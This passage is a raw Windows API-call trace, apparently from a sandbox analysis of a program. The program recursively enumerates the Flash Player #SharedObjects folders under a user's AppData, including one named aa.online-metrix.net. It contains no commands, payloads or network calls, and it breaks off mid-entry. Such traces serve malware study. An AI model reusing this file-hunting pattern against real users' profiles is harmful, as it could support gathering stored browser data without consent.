dwReserved0=0x0, dwReserved1=0xe5, cFileName="..", cAlternateFileName="")) returned 1 [0081.418] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0081.418] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0081.418] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0081.418] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0081.418] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.418] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0081.418] GetProcessHeap () returned 0x1600000 [0081.418] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668c58 [0081.418] PathCombineW (in: pszDest=0x1668c58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", pszFile="Flash Player" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player" [0081.418] GetProcessHeap () returned 0x1600000 [0081.418] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x82) returned 0x1633888 [0081.418] PathCombineW (in: pszDest=0x1633888, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*" [0081.418] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xda, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0081.418] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xda, cFileName="..", cAlternateFileName="")) returned 1 [0081.419] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xda, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0081.419] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xda, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0081.419] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xda, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0081.419] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0081.419] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0081.419] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.419] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0081.419] GetProcessHeap () returned 0x1600000 [0081.419] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x165e250 [0081.419] PathCombineW (in: pszDest=0x165e250, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", pszFile="#SharedObjects" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0081.419] GetProcessHeap () returned 0x1600000 [0081.419] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x165e6e8 [0081.419] PathCombineW (in: pszDest=0x165e6e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*" [0081.419] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0081.419] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd, cFileName="..", cAlternateFileName="")) returned 1 [0081.419] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0081.419] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcd, cFileName="XCVUDUNH", cAlternateFileName="")) returned 0 [0081.420] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0081.420] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0081.420] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.420] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0081.420] GetProcessHeap () returned 0x1600000 [0081.420] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16317f8 [0081.420] PathCombineW (in: pszDest=0x16317f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", pszFile="XCVUDUNH" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH" [0081.420] GetProcessHeap () returned 0x1600000 [0081.420] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x166a1b8 [0081.420] PathCombineW (in: pszDest=0x166a1b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*" [0081.420] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbe, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0081.421] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbe, cFileName="..", cAlternateFileName="")) returned 1 [0081.421] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbe, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 1 [0081.421] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbe, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 0 [0081.421] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0081.421] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a005c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0081.421] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a005c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.421] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a005c, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 1 [0081.421] GetProcessHeap () returned 0x1600000 [0081.421] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x16240d8 [0081.422] PathCombineW (in: pszDest=0x16240d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", pszFile="#AppContainer" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer" [0081.422] GetProcessHeap () returned 0x1600000 [0081.422] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x16241b0 [0081.422] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\*" [0081.422] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb5, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0081.422] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb5, cFileName="..", cAlternateFileName="")) returned 1 [0081.422] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb5, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 1 [0081.422] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb5, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 0 [0081.423] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0081.423] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x560043, dwReserved1=0x440055, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0081.423] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x560043, dwReserved1=0x440055, cFileName="..", cAlternateFileName="")) returned 1 [0081.423] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x560043, dwReserved1=0x440055, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 1 [0081.423] GetProcessHeap () returned 0x1600000 [0081.423] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x164bd88 [0081.423] PathCombineW (in: pszDest=0x164bd88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer", pszFile="aa.online-metrix.net" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net" [0081.423] GetProcessHeap () returned 0x1600000 [0081.423] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf8) returned 0x16414e8 [0081.423] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\*" [0081.423] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\*", lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, 